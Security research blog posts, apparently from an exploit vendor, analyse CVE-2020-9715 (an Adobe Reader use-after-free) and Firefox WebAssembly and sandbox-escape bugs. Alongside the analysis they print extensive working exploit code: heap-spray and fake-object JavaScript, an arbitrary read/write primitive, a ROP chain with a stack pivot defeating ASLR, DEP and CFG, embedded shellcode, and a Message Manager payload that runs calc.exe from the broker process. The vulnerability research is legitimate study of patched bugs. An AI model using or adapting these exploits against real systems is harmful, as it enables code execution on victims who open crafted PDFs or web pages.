This post analyses CVE-2020-9715, a use-after-free vulnerability affecting several versions of the Adobe Acrobat and Adobe Acrobat Reader products. The vulnerability was discovered by Mark Vincent Yason, who reported it to the Zero Day Initiative (ZDI) disclosure program.
This research was inspired by a detailed blog post by ZDI that analyzed the vulnerability. The exploitation broadly follows the steps outlined in the ZDI blog post, but describes the vulnerability and exploitation steps in more detail.
Overview
A use-after-free vulnerability affects the data ESObject cache within the EScript.api module of Adobe Acrobat Reader DC. Although objects may be added to the cache using keys with ANSI or Unicode strings, objects are evicted from the cache by keys that contain only Unicode strings. This enables an attacker to cause a data ESObject to be freed, but its pointer to remain intact in the object cache entry. When the same JavaScript object is later accessed, its cache entry is found despite the corresponding data ESObject having been freed. This leads to a use-after-free condition. An attacker can exploit this vulnerability to achieve code execution by enticing a user to open a crafted PDF file.
The vulnerability analysis that follows is based on Adobe Acrobat Reader DC version 2020.009.20063 running on Windows 10 64-bit.
CVE-2020-9715
Before we dive into the vulnerability, we need to understand how embedded JavaScript is handled by Adobe Reader.
Adobe Reader has a built-in JavaScript engine based on Mozilla’s SpiderMonkey. Embedded JavaScript code in PDF files is processed and executed by the EScript.api module in Adobe Reader.
The Adobe Reader JavaScript engine uses several types of objects including ESObjects and JSObjects. ESObjects are internal to the EScript.api module and contain a pointer to the classical JavaScript objects, JSObjects.
Several kinds of ESObjects exist and among them is the data ESObject, which is a type of object used to represent embedded files and data streams. data ESObjects are uniquely identified by a key (referred to as cache_key in this post) that contains:
A pointer to a PDDoc object, which is an object that represents the PDF document.
The name of the data ESObject that is an ANSI or Unicode string containing the name of the embedded file.
References to data ESObjects are stored in a cache indexed by cache_key. When a new data ESObject is constructed with a certain name, a cache_key object is constructed with that name and is used to search the cache for the presence of the data ESObject that matches the name. If the search is a cache hit, a pointer to the data ESObject is returned. Otherwise, a new data ESObject is created and stored in the cache, and a pointer to it is returned.
The vulnerability occurs due to a mismatch in the encoding of the name string during the construction of cache_key used in the insertion and deletion phases in the lifecycle of a data ESObject. When a data ESObject is created and added to the cache, the name used in the cache_key retains the original encoding (ANSI or Unicode) found in the PDF document.
When a data ESObject is deleted from the cache, the name used in the cache_key is always encoded in Unicode. This leads to a condition where cache entries for data ESObject with ANSI names are never purged from cache; instead the cache entries retain pointers to freed data ESObjects indefinitely.
If an ANSI data ESObject is thus freed, and the code tries to create a new data ESObject with a matching name (e.g., when JavaScript code deletes this.dataObjects[0] and then accesses this.dataObjects[0]), a cache hit occurs but the pointer returned is the pointer to the ANSI-named data ESObject that was previously freed. This leads to an exploitable use-after-free condition.
Code Analysis
Lets take a look at how these objects are represented under the hood, and examine where the bug exists. Code listings show decompiled C code; source code is not available in the affected product. Structure definitions, function names, etc. are obtained by reverse engineering and may not accurately reflect those defined in the source code.
Structure Definitions
The cache mechanism is implemented with the use of a variant of Binary Search Trees. A pointer to the cache is kept in a global variable at EScript+0x273AAC, which points to a structure (named here as esobject_cache_st) defined as follows:
The cache_key structure contains the name of the embedded file in the form of an ESString structure, which is defined as follows:
typedef struct esstring_st {
int type;
char *buffer;
int len;
int max_capacity;
void *unknown1;
void *unknown2;
} ESString;
In the structure above, the buffer member is a pointer to the string encoded in the format specified in the type member (1 for ANSI, 2 for Unicode). Its length is defined by the len member and the maximum capacity of the buffer is indicated by max_capacity. In Unicode ESString objects the buffer encoding is UTF-16 with Byte Order Mark (BOM).
Comparing Cache Keys
Any operation that requires traversing the tree require a key comparison function. This function is implemented at EScript+0x90770 and its code is listed below.
The function first checks whether the keys belong to the same PDF document [1]. If they belong to the same PDF document then it proceeds to compare the names of the keys, which are ESString objects.
The ESString comparison function (implemented at EScript+0x45B07) is listed below.
Relevant to this vulnerability is that at [2] there is a check that compares the ESString types. If they differ, the result of the function is true if type1 is less than type2. For example, when comparing two keys with the same name of different types where type1 is ANSI (1) and type2 is Unicode (2), the esstrings_compare function returns true.
When performing a lookup in the data ESObject cache, the function that implements it (EScript+0x90476) considers keys with the same name but different ESString types as different.
Deleting Cache Entries
When a data ESObject is freed, the corresponding cache entry that stores a pointer to the object is also freed. The ESObject deletion is implemented in the function at EScript+0x907B0, which is listed below.
The call at [1] returns a pointer to an ESString object used to create the cache_key object. This is passed to the function that removes cache nodes matching the cache_key object at [2].
The vulnerability occurs because [1] returns a pointer to an ESString object whose type is always Unicode (ESString.type = 2). However, the ESString value of the keys stored in the cache nodes keeps the type that was used in the definition of the data object in the PDF file. If that name was defined as an ANSI string in the PDF file, the cache key would also be ANSI (ESString.type = 1).
Any lookup for a cache entry whose name was defined with an ANSI ESString is never found, since the created cache key used for the lookup is always a Unicode ESString. This prevents the cache node from being removed, leaving a stale pointer to the corresponding ESObject that is freed.
Accessing Deleted Objects
When the data ESObject cache contains entries that were not removed due to the ESString type mismatch problem, any attempt to access the freed object from JavaScript retrieves the stale pointer corresponding to that entry. Therefore, any operation on that pointer causes an access to memory that was already freed, triggering the use-after-free.
The function listed below handles accesses to data ESObjects and is implemented at EScript+0x929F0.
The call at [1] triggers the creation of data ESObjects based on the data object name retrieved at [2]. This causes a cache lookup that returns the ESObject pointer of the corresponding cache entry that is then used in the call at [3].
Exploitation
We’ll now walk through how this vulnerability can be exploited to achieve arbitrary code execution. The following exploit is designed for Adobe Acrobat Reader DC version 2020.009.20063 running on Windows 10 x64.
A successful exploit strategy needs to bypass the following security mitigations on the target:
Address Space Layout Randomization (ASLR)
Data Execution Prevention (DEP)
Control Flow Guard (CFG)
In order to bypass all three mitigations, the following exploitation strategy is adopted:
Spray a large number of ArrayBuffer objects with the correct size so they are adjacent to each other. The sprayed ArrayBuffer objects must contain a crafted fake Array object that is used to corrupt the adjacent ArrayBuffer.byteLength field (step 6).
Prime the Low Fragmentation Heap (LFH) for size 0x48 (the size of the freed ESObject).
Create and free the target ESObject.
Spray crafted strings to allocate memory in the address used by the freed ESObject. The crafted string must contain a pointer to a predictable address where one of the fake Array objects created in step 1 would be.
Trigger the ESObject reuse to obtain a handle to the fake Array in the exploit JavaScript code.
Use the fake Array handle obtained in step 5 to write past the underlying ArrayBuffer boundaries and overwrite the byteLength field of the adjacent ArrayBuffer with the value 0xffffffff. This, combined with the creation of a DataView object on the corrupted ArrayBuffer allows reading from and writing to arbitrary memory addresses.
Use the arbitrary read and write to write the ROP chain and shellcode.
Overwrite a function pointer of the fake Array object and trigger its call to hijack the execution flow.
The following sub-sections break down the exploit code with explanations for better understanding.
Spraying ArrayBuffer Objects
When dealing with the heap, the addresses of allocations are not consistent between executions and thus can not be hardcoded into the exploit. In order to be able to place controlled memory regions in predictable addresses the internals of the memory manager have to be leveraged.
The heap spray technique performs a large number of controlled allocations with the intention of having adjacent regions of controllable memory. The key to obtaining adjacent memory regions is to make the allocations of a specific size.
In JavaScript, a convenient way of making allocations in the heap whose content is completely controlled is by using ArrayBuffer objects. The memory allocated with these objects can be read from and written to with the use of DataViewobjects.
In order to get a heap allocation of the right size the metadata of ArrayBuffer objects and heap chunks have to be taken into consideration. The internal representation of ArrayBuffer objects tells that the size of the metadata is 0x10 bytes. The size of the metadata of a busy heap chunk is 8 bytes.
Since the objective is to have adjacent memory regions filled with controlled data, the allocations performed must have the exact same size as the heap segment size, which is 0x10000 bytes. Therefore, the ArrayBuffer objects created during the heap spray must be of 0xffe8 bytes.
var SHIFT_ALIGNMENT = 4;
var FAKE_ARRAY_JSOBJ_ADDR = 0x40000058 + SHIFT_ALIGNMENT;
var HEAP_SEGMENT_SIZE = 0x10000
var ARRAY_BUFFER_SZ = HEAP_SEGMENT_SIZE-0x10-0x8
[1]
var arrayBufferSpray = new Array(0x8000);
function sprayArrayBuffers() {
// Spray a large number of ArrayBuffers containing crafted data (a fake array)
// so we end up with a fake JS array object at FAKE_ARRAY_JSOBJ_ADDR
for (var i = 0; i < arrayBufferSpray.length; i++) {
arrayBufferSpray[i] = new ArrayBuffer(ARRAY_BUFFER_SZ);
var dv = new DataView(arrayBufferSpray[i]);
[2]
// ArrayObject.shape_
dv.setUint32(SHIFT_ALIGNMENT+0, FAKE_ARRAY_JSOBJ_ADDR+0x10, true);
// ArrayObject.type_
dv.setUint32(SHIFT_ALIGNMENT+4, FAKE_ARRAY_JSOBJ_ADDR+0x40, true);
// ArrayObject.elements_
dv.setUint32(SHIFT_ALIGNMENT+0xc, FAKE_ARRAY_JSOBJ_ADDR+0x80, true);
// ArrayObject.shape_.base_
dv.setUint32(SHIFT_ALIGNMENT+0x10, FAKE_ARRAY_JSOBJ_ADDR+0x20, true);
// ArrayObject.shape_.base_.flags
dv.setUint32(SHIFT_ALIGNMENT+0x20+0x10, 0x1000, true);
// ArrayObject.type_.classp
dv.setUint32(SHIFT_ALIGNMENT+0x40, FAKE_ARRAY_JSOBJ_ADDR+0x40+0x10, true);
// ArrayObject.type_.classp.enumerate
dv.setUint32(SHIFT_ALIGNMENT+0x40+0x10+0x1c, 0xdead1337, true);
// ArrayObject.elements_.flags
dv.setUint32(SHIFT_ALIGNMENT+0x80-0x10, 0, true);
// ArrayObject.elements_.initializedLength
dv.setUint32(SHIFT_ALIGNMENT+0x80-0x10+4, 0xffff, true);
// ArrayObject.elements_.capacity
dv.setUint32(SHIFT_ALIGNMENT+0x80-0x10+8, 0xffff, true);
// ArrayObject.elements_.length
dv.setUint32(SHIFT_ALIGNMENT+0x80-0x10+0xc, 0xffff, true);
}
}
The exploit function listed above performs the ArrayBuffer spray. The total size of the spray defined in [1] was determined by setting a number high enough so an ArrayBuffer would be allocated at the selected predictable address defined by the FAKE_ARRAY_OBJ_ADDR global variable.
Each of the sprayed ArrayBuffer objects contain a crafted fake Array object [2]. To craft a fake Array objects not all the internal structures need to be provided. However, there are some important values that need to be chosen carefully:
Elements.initializedLength: The number of elements that have been initialized.
Elements.capacity: The number of allocated slots.
Elements.length: The length property of Array objects.
When the use-after-free condition is triggered, operations on the crafted Array object (set as values of the sprayed the ArrayBuffer object) include reading and writing to the Array. The eventual goal is to corrupt the byteLength field of an ArrayBuffer object (which is a well-known method to obtain a read and write primitive). By ensuring that the crafted Array object allows writing past the boundaries of the underlying ArrayBuffer object and into an adjacent ArrayBuffer, the adjacent ArrayBuffer can be desirably corrupted. Therefore, the values of the Array object properties need to be bigger than number of bytes that separate the start of the array from the next ArrayBuffer metadata.
Priming the Low Fragmentation Heap
The size of the object that is freed in this vulnerability is of 0x48 bytes (the size of an ESObject). Allocations with this size are likely to end up being handled by the Low Fragmentation Heap (LFH) if enough consecutive allocations of that size are performed.
In order to be able to allocate into the addresses of the freed ESObject, it is good to make sure that the object is handled by the LFH in order to reduce the possibility of the application uncontrollably allocating into that spot.
var lfhPrime = new Array(0x1000);
function primeLFH() {
// Activate the LFH bucket for size 0x48 (real chunk size is 0x50) and help improve determinism.
// We want the allocation of the UAFed object to fall in the LFH so we can claim its freed chunk more or less reliably.
[1]
var baseString = "Prime the LFH!".repeat(100);
for (var i = 0; i < lfhPrime.length; i++) {
lfhPrime[i] = baseString.substring(0, 0x48 / 2 - 1).toUpperCase();
}
[2]
for (var i = 0; i < lfhPrime.length; i+=2) {
lfhPrime[i] = null;
}
}
The function listed above performs multiple allocations of size 0x48 [1] in order to activate the LFH bucket for that size. Activating the LFH for a specific size requires at least 0x11 consecutive allocations. However, since the application might require allocations of that specific size for other uses, some of the allocations are freed to reduce the possibility of it allocating into the freed ESObject spot [2].
Creating and Freeing the Vulnerable Object
Once the memory is laid out the ESObject has to be created, added into the cache, and then freed.
In the code listing above, [1] triggers the creation of the data ESObject that is stored in the object cache. Then, [2] removes the reference to it so when the Garbage Collector is triggered in [3] the ESObject is freed.
Allocating Into the Freed Spot
At this point the heap has been curated for allocation into the freed ESObject spot. To do so, a large number of allocations of size 0x48 have to be performed in order to have a chance of one landing into that spot.
[1]
var stringSpray = new Array(0x2000);
function sprayStrings() {
// Spray strings of size 0x48/2-1 in order to eventually allocate into the spot left by the freed chunk
var baseString = unescape(toUnescape(FAKE_ARRAY_JSOBJ_ADDR).repeat(0x48));
for (var i = 0; i < stringSpray.length; i++) {
stringSpray[i] = baseString.substring(0, 0x48 / 2 - 1).toLowerCase();
}
}
The allocations are performed with a spray of the size defined at [1]. The value for this size is the double of the size selected for priming the LFH to make sure to fill the free spots left and also the ESObject spot.
The object used in the spray is a string, as it allows an easy control of the size and contents without any metadata overhead. The contents of the string is the unescaped value of the address where a fake Array object is expected to have been allocated during the initial ArrayBuffer spray. The unescape function is used to deal with Unicode transformation.
Achieving Arbitrary Read and Write
Once the predictable address occupies the spot in memory left by the freed ESObject and points to the fake Array object, an access to the data object provides a handle to that fake Array object that can be used as a normal Array. This can be achieved with the following line of code:
var fakeArrObj = this.dataObjects[0]
By carefully choosing the element of the fake Array to assign a value to, the adjacent ArrayBuffer can be corrupted. The interesting value to corrupt is the byteLength property. Following the byteLength field, the next value in memory is a pointer to the DataView object associated to the ArrayBuffer. It is important to take into account that this value can only be either a valid pointer or zero.
function getArbitraryRW(fakeArrObj) {
var corruptedArrayBuffer = null;
[1]
var nextABByteLengthOffset = ARRAY_BUFFER_SZ-0x10-0x70+0x8;
fakeArrObj[nextABByteLengthOffset / 8] = 2.12199579047120666927013567069E-314;
[2]
fakeArrObj[0] = this.addField("t", "text", 0, [0, 0, 0, 0 ]);
fakeArrObj[0].value = "dummy1337w00t";
[3]
for (var i = 0; i < arrayBufferSpray.length; i++) {
if (arrayBufferSpray[i].byteLength == -1) {
corruptedArrayBuffer = arrayBufferSpray[i];
}
}
[4]
return new DataView(corruptedArrayBuffer);
}
In the code listing above, the byteLength value of the adjacent ArrayBuffer object is overwritten [1]. The integer value used translates to 0xFFFFFFFF 0x00000000 in memory due to the IEEE 754 representation for double values.
Aside from the ArrayBuffer corruption, a text field is created and assigned to the fake Array[2]. This is later used to leak a pointer to the AcroForm.api module, which is used to leak the icucnv58.dll module base address.
The next step is to locate the corrupted ArrayBuffer by checking the size of all the allocated buffers [3]. Finally, creating a DataView on the corrupted ArrayBuffer allows to read from and write to arbitrary memory addresses, since the size of the ArrayBuffer was set to 0xffffffff. However, the addresses specified when reading or writing memory are relative to the address where the corrupted ArrayBuffer is located. For convenience, the following helper functions were created to read and write memory using absolute addresses.
function readUint32(dataView, absoluteAddress) {
var startAddr = FAKE_ARRAY_JSOBJ_ADDR-SHIFT_ALIGNMENT+HEAP_SEGMENT_SIZE;
var addrOffset = absoluteAddress - startAddr;
if (addrOffset < 0) {
addrOffset = addrOffset + 0xffffffff + 1;
}
return dataView.getUint32(addrOffset, true);
}
function writeUint32(dataView, absoluteAddress, data) {
var startAddr = FAKE_ARRAY_JSOBJ_ADDR-SHIFT_ALIGNMENT+HEAP_SEGMENT_SIZE;
var addrOffset = absoluteAddress - startAddr;
if (addrOffset < 0) {
addrOffset = addrOffset + 0xffffffff + 1;
}
dataView.setUint32(addrOffset, data, true);
}
Writing and Executing the ROP Chain
The security mitigations present in the application determine the strategy and techniques required. ASLR and DEP force using Return Oriented Programming (ROP) combined with leaked pointers to the relevant modules. CFG forbids redirecting the execution flow via pointer overwrite to arbitrary addresses.
One way of bypassing the CFG restrictions is to redirect the execution flow to a module that was not built with CFG enabled. Adobe Acrobat Reader DC ships with some modules that do not have CFG enabled. The most convenient one for the current exploit is icucnv58.dll. Its large size (plenty of options for ROP gadgets) and the fact that it gets loaded at runtime if text fields are used (this module offers functions to handle Unicode data) makes it a perfect candidate.
Taking this into account, the strategy can be the following:
Obtain pointers to the relevant modules to calculate their base addresses.
Pivot the stack to a memory region under our control where the addresses of the ROP gadgets can be written.
Write the shellcode.
Call VirtualProtect to change the shellcode memory region permissions to allow execution.
Overwrite a function pointer that can be called later from JavaScript.
The following code implements the mentioned strategy:
function writePayload(dv) {
[1]
var escriptAddrDelta = 0x275528;
var fakeArrObjElementsPtr = readUint32(dv, FAKE_ARRAY_JSOBJ_ADDR+0xC);
var escriptBaseAddr = readUint32(dv, readUint32(dv, fakeArrObjElementsPtr)+0xc) - escriptAddrDelta;
[2]
var acroFormAddrDelta = 0x2827d0;
var acroFormBaseAddr = readUint32(dv, readUint32(dv, readUint32(dv, fakeArrObjElementsPtr)+0x10)+0x34) - acroFormAddrDelta;
[3]
var icucnv58AddrDelta = 0xc3ad8c;
var icucnv58BaseAddr = readUint32(dv, readUint32(dv, acroFormBaseAddr+icucnv58AddrDelta)+0x10);
[4]
var kernel32BaseAddr = readUint32(dv, escriptBaseAddr+0x273ED0);
[5]
// Stack pivot
// 0x95907: mov esp, 0x59000008; ret;
var stackPivot = icucnv58BaseAddr+0x95907;
[6]
var virtualProtectStubDelta = 0x20420;
writeUint32(dv, 0x59000008, kernel32BaseAddr+virtualProtectStubDelta);
[7]
// VirtualProtect parameters
writeUint32(dv, 0x59000008+4, SHELLCODE_ADDR);
writeUint32(dv, 0x59000008+8, SHELLCODE_ADDR);
writeUint32(dv, 0x59000008+12, SHELLCODE_BUFFER_SZ);
writeUint32(dv, 0x59000008+16, 0x40);
writeUint32(dv, 0x59000008+20, fakeArrObjElementsPtr+0x8);
// Write the shellcode
shellcode = [0x0082e8fc, 0x89600000, 0x64c031e5, 0x8b30508b, 0x528b0c52, 0x28728b14, 0x264ab70f, 0x3cacff31,
0x2c027c61, 0x0dcfc120, 0xf2e2c701, 0x528b5752, 0x3c4a8b10, 0x78114c8b, 0xd10148e3, 0x20598b51,
0x498bd301, 0x493ae318, 0x018b348b, 0xacff31d6, 0x010dcfc1, 0x75e038c7, 0xf87d03f6, 0x75247d3b,
0x588b58e4, 0x66d30124, 0x8b4b0c8b, 0xd3011c58, 0x018b048b, 0x244489d0, 0x615b5b24, 0xff515a59,
0x5a5f5fe0, 0x8deb128b, 0x8d016a5d, 0x0000b285, 0x31685000, 0xff876f8b, 0xb5f0bbd5, 0xa66856a2,
0xff9dbd95, 0x7c063cd5, 0xe0fb800a, 0x47bb0575, 0x6a6f7213, 0xd5ff5300, 0x636c6163, 0x00000000]
[8]
for (var i = 0; i < shellcode.length; i++) {
writeUint32(dv, SHELLCODE_ADDR+i*4, shellcode[i]);
}
[9]
// Overwrite the fake array ArrayObject.type_.classp.enumerate pointer to achieve EIP control
writeUint32(dv, FAKE_ARRAY_JSOBJ_ADDR+0x40+0x10+0x1c, stackPivot);
}
In the code listing above, at [1], [2], [3], and [4] the base addresses of the EScript.api, AcroForm.api, icucnv58.dll, and Kernel32.dll modules are obtained. At [5] the address to the stack pivot gadget is calculated. The function pointer selected to hijack the execution flow does not allow controlling any other CPU register, so the stack pivot gadget selected (mov esp, 0x59000008; ret) relocates the stack to 0x59000008, where the address of the VirtualProtect function [6] and the parameters passed to it are written [7]. Finally, the shellcode is written [8] and the fake Array object internal pointer ArrayObject.type_.classp.enumerate is overwritten with the address of the stack pivot gadget [9].
The last step is to trigger the execution of the ROP chain by assigning a value to an nonexistent property of the fake Array object. This would call the internal enumerate function as it should define all the lazy properties not yet reflected in the object. This can be done with the following line of code:
fakeArrObj.triggerRopchain = 2;
Conclusion
Adobe patched this vulnerability in August 2020. However it is likely that more vulnerabilities of this nature will continue to pop up in Adobe Reader given its large attack surface. We hope you enjoyed reading our analysis and learned something new. Be sure to checkout our other blog posts such as Firefox vulnerability research and patch-gapping Chrome.
It’s been a half-decade since we last updated our disclosure policy and it’s time for us to iterate on our policy again. As we detailed in our previous post, while there is inherent value to our subscription customers to maximize our 0-day shelf life… empirically, we can state that such vulnerabilities can go unpatched for inordinately long times and it is in the best interest of the community at large to keep vendors informed. As of the time of this writing, we have adopted the following simple disclosure policy.
Vulnerability information will be reported to the affected vendor six months after release to our subscribers.
Six months after this disclosure, or once the vendor has released a patch, whichever happens first; we reserve the right to publish details about the vulnerability.
This policy applies to both internally generated research as well as any research acquired through our Research Sponsorship Program (RSP), an effort we maintain to crowdsource both 0-day and n-day research from individual contributors around the globe.
If you’re interested in learning more about our subscriptions, we welcome you to reach out to us at sales@exodusintel.com.
This series of posts makes public some old Firefox research which our Zero-Day customers had access to before it was known publicly, and then our N-Day customers after it was patched. We’ve also used this research to teach browser exploitation in our Vuln-Dev Master Class.
In the previous post we analyzed an integer underflow in part of Firefox’s WebAssembly code and used it to read and write memory in the sandboxed content process. In this post we will use this to execute arbitrary code in the content process, and finally escape the sandbox to the broker process and execute calc.exe.
Executing Privileged JavaScript
Here we will discuss a technique for executing privileged JavaScript by making use of the ability to read and write memory. An overview of the script security architecture of Firefox can be found here. There is a JavaScript object specific only to Firefox-based browsers called Components. Normal content pages run with the content principal and have a limited version of this object. Pages with the system principal have full access to the object and can use it to access native XPCOM objects. The goal is to gain access to a privileged Components object using the following steps:
find and leak the address of the system principal;
find and override the actual document compartment principal with the system principal; this gives the ability to access properties of privileged objects;
find and override an iframe principal with the system principal; this allows us to load privileged pages into an actual iframe;
load a privileged page into an iframe and access its Components.
Finding the System Principal
We first find the base address of xul.dll using an address of a TypedArray object we discovered previously. At offset 0xC into this object is a pointer into the xul.dll module. All modules are loaded on a 0x10000 byte boundary and contain the Portable Executable signature ‘MZ’ as the first 16-bit word. We simply start searching backwards in memory from our pointer into xul.dll on said boundary for the signature.
Once we’ve found xul.dll in memory we can parse its export tables to look for various symbols within the module. The first symbol we look for is nsLayoutModule_NSModule. This is a structure which contains a useful pointer, it is shown below.
We disassemble this function and find the address of nsXPConnect::gSystemPrincipal, the keys to Dad’s car.
Finding and Overriding the Document Compartment Principal
The compartment principal we want to override can be found using an iframe we previously sprayed onto the heap. To find the location of the principal we start with the JSObject containing the iframe and follow the path of pointers until we find the relevant JSCompartment object, as shown below.
We write the value of the previously found system principal to offset 0x2C into this JSCompartment object.
Finding and Overriding the mOwnerManager Principal
Loading a privileged page into our iframe requires overriding the mOwnerManager principal of the iframe. This is found via similar path of pointers starting from the HTMLIFrameElement object found above.
Here we describe a technique to execute privileged JavaScript in the broker process via Inter-process Communication from the content process. This technique was patched by a change intended to mitigate prompt spoofing by introducing a new type of prompt displayed by the broker process.
The content and broker processes communicate with each other via inter-process communication. While this is implemented and used by the C/C++ code, for Firefox there is an additional communication channel which is used by privileged JavaScript. It’s called the Message Manager and is responsible for passing messages between various windows.
The Message Manager was introduced long before the introduction of the sandbox, but the main goal was to support the legacy methods of interaction between the chrome and content while moving from single to multiple process architecture.
One such interaction is called RemotePrompt, shown below.
var RemotePrompt = {
init: function() {
let mm = Cc["@mozilla.org/globalmessagemanager;1"].getService(Ci.nsIMessageListenerManager);
mm.addMessageListener("Prompt:Open", this);
},
receiveMessage: function(message) {
switch (message.name) {
case "Prompt:Open":
if (message.data.uri) {
this.openModalWindow(message.data, message.target);
} else {
this.openTabPrompt(message.data, message.target)
}
break;
}
},
[skip]
openModalWindow: function(args, browser) {
let window = browser.ownerGlobal;
try {
PromptUtils.fireDialogEvent(window, "DOMWillOpenModalDialog", browser);
let bag = PromptUtils.objectToPropBag(args);
Services.ww.openWindow(window, args.uri, "_blank",
"centerscreen,chrome,modal,titlebar", bag);
PromptUtils.propBagToObject(bag, args);
} finally {
PromptUtils.fireDialogEvent(window, "DOMModalDialogClosed", browser);
browser.messageManager.sendAsyncMessage("Prompt:Close", args);
}
}
The function receiveMessage() receives all incoming messages and handles only ones with the name Prompt:Open, and depending on the presence of the uri argument decides where to pass execution. If the argument is present, the function openModalWindow() will execute and create a new window in the broker process with the URI provided in the arguments. The newly created window has the system principal. By passing a data URI as the argument, arbitrary JavaScript code will be loaded and executed in the broker process.
Below is an example of this technique that will launch calc.exe from the broker process.
function executePayload(privilegedWindow) {
var payload = [];
// This is something to execute within privileged JavaScript. For example,
// in current case a calc.exe is executed with Medium Integrity Level.
payload.push('var { interfaces: Ci, utils: Cu, classes: Cc } = Components;');
payload.push('localFile = Cc["@mozilla.org/file/local;1"].createInstance(Ci.nsILocalFile);');
payload.push('process = Cc["@mozilla.org/process/util;1"].createInstance(Ci.nsIProcess);');
payload.push('args = [];');
payload.push('localFile.initWithPath("C:\\\\WINDOWS\\\\system32\\\\calc.exe");');
payload.push('process.init(localFile);');
payload.push('process.run(false, args, args.length);');
// This will get a ContentFrameMessageManager
var cfmm = privilegedWindow.QueryInterface(Ci.nsIInterfaceRequestor).
getInterface(Ci.nsIDocShell).
QueryInterface(Ci.nsIInterfaceRequestor).
getInterface(Ci.nsIContentFrameMessageManager);
// This sends a message through the message manager to the broker process
cfmm.sendAsyncMessage('Prompt:Open', { uri: 'data:text/html,<script>' + payload.join('') + '; close();</script>' });
}
The entire exploit chain is demonstrated in the video below.
This series of posts makes public some old Firefox research which our Zero-Day customers had access to before it was known publicly, and then our N-Day customers after it was patched. We’ve also used this research to teach browser exploitation in our Vuln-Dev Master Class.
In this post we start with an integer underflow in part of Firefox’s WebAssembly code and use it to read and write memory in the sandboxed content process. In later posts we will then use this to execute arbitrary code in the content process, and finally escape the sandbox to the broker process and execute calc.exe.
This vulnerability was reported to Mozilla by Alex Gaynor as Bug #1415291 and fixed in Firefox 58 and 59.
The vulnerability is triggered using a WebAssembly.Table object which represents an array-like structure that stores function references and provides a bridge between WebAssembly and JavaScript. The following JavaScript code results in a memory read outside the bounds of the table.
// Creates a new WebAssembly Table object.
var wasmTable = new WebAssembly.Table({
// Provides type of the element.
element: 'anyfunc',
// Provides initial size of the table (length of the elements).
initial: 0
});
// Tries to get the function reference at the index 0x100.
wasmTable.get(0x100);
The JavaScript constructor triggers a call to WasmTableObject::construct() shown below.
WasmTableObject::construct() performs different kinds of validations and then calls WasmTableObject::create() which is responsible for the actual table creation.
The TableDesc object holds properties of the new WebAssembly.Table to be created including the type of the array (external or internal) and limits of the table. The call to Table::create() creates a new WebAssembly table object with the initial elements length of 0.
/* static */ SharedTable
Table::create(JSContext* cx, const TableDesc& desc, HandleWasmTableObject maybeObject)
{
// The raw element type of a Table depends on whether it is external: an
// external table can contain functions from multiple instances and thus
// must store an additional instance pointer in each element.
UniqueByteArray array;
if (desc.external)
array.reset((uint8_t*)cx->pod_calloc<ExternalTableElem>(desc.limits.initial));
else
array.reset((uint8_t*)cx->pod_calloc<void*>(desc.limits.initial));
if (!array)
return nullptr;
return SharedTable(cx->new_<Table>(cx, desc, maybeObject, Move(array)));
}
The desc.external variable is set to true as it is an external (user-provided) table creation request (non-external tables are used for JavaScript engine runtime internally and are not possible to control directly). The desc.limits.initial variable is 0 and the pod_calloc() function allocates the minimum possible buffer size of 8 bytes. The address of array (or array_ as defined in Table fields) is the base address when accessing the table array by index.
Integer Underflow
Once the WebAssembly get() function is called, the WasmTableObject::getImpl() method is eventually called.
The third argument to ToNonWrappingUint32() is the maximum value allowed to be stored in index. When table.length() is 0 this value becomes -1, however the argument type is uint32_t, causing the value to become UINT32_MAX, defeating the range check entirely. The same bug exists in WasmTableObject::setImpl() defeating the range check on set().
This vulnerability can be used to read or write past the bounds of the array. However, writing out of bounds is limited in how and what it can write. Reading out of bounds cannot be directly used to leak any useful data into JavaScript, but it can be used to create a fake hash table.
Fake Hash Table
To ensure that required data is located at a fixed address the heap is sprayed using JavaScript arrays. This data is then used to create a few fake structures. The heap spray causes the following data to be placed at address 0x4d0f0000.
The first 0x100 bytes contain fake structure fields, the rest is just a filler which points back to the beginning of the data.
Once the heap spray is done, the vulnerability is triggered by creating a new WebAssembly table and calling the get() function on that table. The following code is then reached.
; File: xul.dll
; Version: 54.0.0.6368
.text:11D4EB33 private: static bool __cdecl js::WasmTableObject::getImpl(struct JSContext *, class JS::CallArgs const &) proc near
...
.text:11D4EB96 jz loc_11D4EC40
.text:11D4EB9C mov eax, [ebp+var_4]
.text:11D4EB9F mov ecx, [ebp+var_8]
.text:11D4EBA2 mov eax, [eax+30h] ; eax will point to the array_ field
.text:11D4EBA5 mov edx, [eax+ecx*8] ; eax+ecx*8 points inside of the heap spray, edx becomes 0x4d0f0000
.text:11D4EBA8 test edx, edx ; if (!elem.code) ... (edx = 0x4d0f0000)
.text:11D4EBAA jnz short loc_11D4EBBF
...
.text:11D4EBBF
.text:11D4EBBF loc_11D4EBBF:
.text:11D4EBBF mov eax, [eax+ecx*8+4] ; reads from the spray and sets eax to 4d0f0000
.text:11D4EBC3 push edx
.text:11D4EBC4 mov esi, [eax+4] ; esi will point to the fake js::wasm::Instance object (4d0f0000)
.text:11D4EBC7 mov ecx, [esi+8] ; ecx will point to the fake js::wasm::Code object (4d0f000c)
.text:11D4EBCA call js::wasm::Code::lookupRange(void *)
The array_ field is located at offset 0x30 in the Table object, shown below.
The address of the array_ field is added to the index which is multiplied by 0x8 (the UniqueByteArray structure takes 0x8 bytes and each function reference represents this structure).
Next is the call to the Code::lookupRange() method.
The Code object is located at address 0x4d0f000c in our heap spray and is constructed such that BinarySearch() will return true and match will be set to 1. The match is the index of the CodeRange structure in the metadata_->codeRanges vector. The size of the CodeRange object is 0x20 bytes and as such lookupRange() returns the CodeRange object which is located at address 0x4d0f0040 in our heap spray.
Next in WasmTableObject::getImpl() an object_ field pointing to the WasmInstanceObject object is requested, as shown below.
A problem appears due to the way the garbage collector works and because some structures have been faked: they do not represent real JavaScript objects and have not gone through the real allocation mechanisms.
The Generation Garbage Collector (GGC), introduced in Mozilla Firefox version 32.0, has two heap types: nursery and tenured. The nursery heap is used for a short-lived objects, and the tenured heap for long-lived objects.
When getting the WasmInstanceObject object, the JavaScript engine runtime requests details about the object state, namely whether it is in the nursery or in the tenured heap. Eventually the JSObject::readBarrier() method is called, as shown below.
Cell is the base class of all classes being allocated by GC. Chunks are the largest unit used by the allocator and are 1MB. The ChunkLocation enum denotes the type of the heap, as shown below.
The IsInsideNursery() function converts object addresses to the address of the associated chunk and checks whether the chunk belongs to the nursery or tenured heap. If it is in the tenured heap, then additional operations on the object are performed. This code path should be avoided as it would unnecessarily complicate the exploit. The ChunkLocation is within the our heap spray so we fake it by setting it to Nursery.
After that, the Instance::object() method successfully returns a new WasmInstanceObject object which is located at address 0x4d0f0000.
